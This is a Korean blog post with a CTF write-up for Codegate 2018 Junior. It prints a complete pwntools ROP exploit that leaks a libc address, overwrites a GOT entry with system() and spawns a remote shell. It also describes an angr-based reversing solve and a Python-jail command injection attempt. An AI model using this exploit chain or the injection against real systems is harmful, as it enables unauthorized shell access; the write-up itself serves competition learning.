HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 아파치
  • 취약점
  • JNDI
  • log4j

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

Codegate 2018 Junior Write Up
Write Up

Codegate 2018 Junior Write Up

2018. 2. 11. 00:41
728x90

몇일 전에 있었던 코게 라이트 업을 쓰겠다.




BaskinRobins31(Pwn)


#!/usr/bin/python


from pwn import *



#p = process("./BaskinRobins31")

p = remote('ch41l3ng3s.codegate.kr',3131)

e = ELF("./BaskinRobins31")


pppr = 0x0040087a

pop_rdi=0x00400bc3

offset =172800

puts_plt=0x4006c0

puts_got=0x602020

#offset = 728864


payload  = ''

payload += "A"*176

#payload += "1"

#payload += "0"*16

payload += "JUNKJUNK"

payload += p64(pppr)

payload += p64(1)

payload += p64(e.got['puts'])

payload += p64(8)

payload += p64(e.plt['write'])

payload += p64(pppr)

payload += p64(0)

payload += p64(e.got['puts'])

payload += p64(8)

payload += p64(e.plt['read'])

payload += p64(pppr)

payload += p64(0)

payload += p64(e.bss())

payload += p64(len("/bin/sh;"))

payload += p64(e.plt['read'])

payload += p64(pop_rdi)

payload += p64(e.bss())

payload += p64(e.plt['puts'])


raw_input()


p.recvuntil("(1-3)")

p.sendline(payload)

#print p.recvall(1)

#p.recvuntil("JUNK")

p.recvuntil(":(")

#data=p.recv(5)+"\x00\x00\x00"

print p.recv(2)

data = p.recv(8)

print data

leak=u64(data)

system=leak-offset

print "SYSTEM:",hex(system)

print "LEAK  :",hex(leak)


p.send(p64(system))

sleep(0.5)

p.sendline("/bin/sh;")

sleep(0.3)


p.interactive()


문제는 생각보다 간단했다.

숫자맞추기(?)인가 뭔가를 이기면 넘어가는 것 같던데

그런거 안해도 그냥 Rop가 된다.

처음에 개껌 문제구나 하고 풀고 익스플로잇을 하니까 안되서

몇분동안 허둥지둥하다가 보니까 개행문자가 들어가 있었다...

그래서 개행문자를 빼고 got를 받으니 바로 쉘이 따졌다.









RedVelvet(Rev)


이문제는 처음에 angr로 풀면 풀릴 것 같다!?!?

하고서 angr를 돌렸는데 이상한 문자열이 나와서 flag인것 같아서 입력을 해보니.... 인증이 안됬다.

그래서 fake문자열인 것 같아서 다른방식으로 해보려다가 포기하고 풀지 못한 문제다.

근데 그 문자열이 fake가 아니였던 것이었다..

ctf가 끝나고 다시풀어봤는데,,,

다시풀어본 것을 올리겠다.



이와같이 python으로 angr을 이용해서 돌리면



이처럼 What You Wanna_Be?:)_lb_la가 나오는 것이다...

그런데 앞문장은 괜찮은데 뒷문장 _lb_la이부분이 뭔가 이상해서 브루트포싱을 해봤다.



aa,ab,ac.....zx,zy,zz까지 넣어서 플래그를 보여주는 문자열이 보이면 출력을 해주게 코드를 짜봤다.

그랬더니 flag가 나왔다...



흠... 값이 잘 나왔다.

대회때 좀 생각좀 더하지.... 정말 빠가인것 같다.






Impel Down(Misc)


이문제는 서버가 닫혀있어서 그냥 말로 하겠다....

결국은 못풀었지만 아쉬워서 써본다..

처음에 name을 받고 여러가지 명령어들을 받는다.

dig명령어를 치는데 실수로 digs를 쳤는데 에러가나면서 파이썬으로 짜여진 코드가 보였다.

그래서 dig|system('sh')을 했는데.. 안됬다... 그래서 그냥 system문자열을 막은 줄 알았는데

sys.modules이나__import__를 안해줘서 그런거였다...너무 아쉽다...


'Write Up' 카테고리의 다른 글

TRUSTEALTH CTF Write Up  (0) 2018.03.06
2018 NEWSECU CTF  (0) 2018.02.04
    'Write Up' 카테고리의 다른 글
    • TRUSTEALTH CTF Write Up
    • 2018 NEWSECU CTF
    HO_9
    HO_9

    티스토리툴바